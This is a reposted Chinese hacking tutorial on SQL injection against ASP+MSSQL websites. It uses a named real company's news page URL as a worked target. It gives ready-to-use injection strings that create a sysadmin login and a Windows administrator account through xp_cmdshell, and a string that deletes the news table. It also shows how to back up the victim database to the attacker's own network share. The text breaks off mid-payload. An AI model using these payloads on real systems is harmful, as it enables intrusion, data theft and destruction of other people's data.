当前位置: 首页 > 图文教程 > 数据库 > MSSQL > SQL数据库的一些攻击

MSSQL
SQLServer中求两个字符串的交集
SQL Server 触发器 表的特定字段更新时,触发Update触发器
SQL 查询分析中使用net命令问题
SQLServer 批量导入目录文件
sql语言中delete删除命令语句详解
Linq to SQL 插入数据时的一个问题
一个简单的SQL 行列转换语句
SQLServer 常用语句(按功能分)
SQLServer 管理常用SQL语句
SQL Server 2000中的触发器使用
SQL小技巧 又快又简单的得到你的数据库每个表的记录数
Sql Server 2000删除数据库备份文件
批量更新数据库所有表中字段的内容,中木马后的急救处理
sqlserver 通用分页存储过程
远程连接局域网内的sql server 无法连接 错误与解决方法
目前用到的两个分页存储过程代码
sqlserver 多表关联时在where语句中慎用trim()方法
Sql2005注射辅助脚本[粗糙版]
sql 2005不允许进行远程连接可能会导致此失败的解决方法
MSSQL2005数据库备份导入MSSQL2000

MSSQL 中的 SQL数据库的一些攻击


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-30   浏览: 95 ::
收藏到网摘: n/a

  SQL数据库的一些攻击
转载:inburst(闯入)
来源:Hectic

SQL数据库的一些攻击

Hectic


关于数据库的简单入侵和无赖破坏,以天融信做例子


对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷!   
这种攻击方法最早源于'or'1'='1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;exec sp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND .....  这种方法请求数据库,那么如果还用以上的例子就会news.asp?id=2;exec sp_addlogin hax  
变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...   
整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法   
news.asp?id=2;exec sp_addlogin hax;--   
后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!   
那么我们连一起来用吧   
news.asp?id=2;exec master.dbo.sp_addlogin hax;--   
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--   
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--   
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes

/active:yes /add';--   
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--   
这样,你在他的数据库和系统内都留下了hax管理员账号了   
当然,前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。   
以后我们会讨论,如果对方的ASP不是用SQL管理员账号,我们如何入侵,当然也会涉及到1433端口的入侵
当然大家可以试试看在id=2后面加上一个'符号,主要看对方的ASP怎么写了
   

再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。   
你如天融信的主页,有新闻内容,如下:   
http://www.talentit.com.cn/news/news-2.asp?newid=117   
大家可以试试看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--   
呵呵,报语法错误,select 123错误,显而易见,天融新的ASP在newid变量后面用'号结束   
那么试试看http://www.talentit.com.cn/news/news-2.asp?newid=117';delete news;--   
哈哈,我想只要表名猜对了,新闻库就被删了   

通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限   
但是我们不知道库名该怎么?看看db_name()函数吧   
打开你的query analyzer,看看print db_name() ,呵呵,当前的数据库名就出来了   
以次类推,如下: declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--   
呵呵,他的当前数据库就备份到你的硬盘上了,接下来要做的大家心里都明白了吧   
同理这个方法可以找到对方的SQL的IP   
先装一个防火墙,打开ICMP和139TCP和445TCP的警告提示   
然后试试看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP'   
如果防火墙提示有人ping你,那么因该可以肯定对方的ASP用的是SQL的管理员权限,同时也确定了对方的SQL Server的准确位置,因为很多大

一点的网站考虑性能,会吧web服务和数据库分开,当对方大上了补丁看不到源代码时,我想只有这个方法能很快的定位对方的SQL Server的位置了   
那么,如果对方ASP没有SQL管理员权限,我们就不能调用xp_cmdshell了,该怎么办?   
别着急,试试看这个news.asp?id=2;declare @a;set @a=db_name();backup databas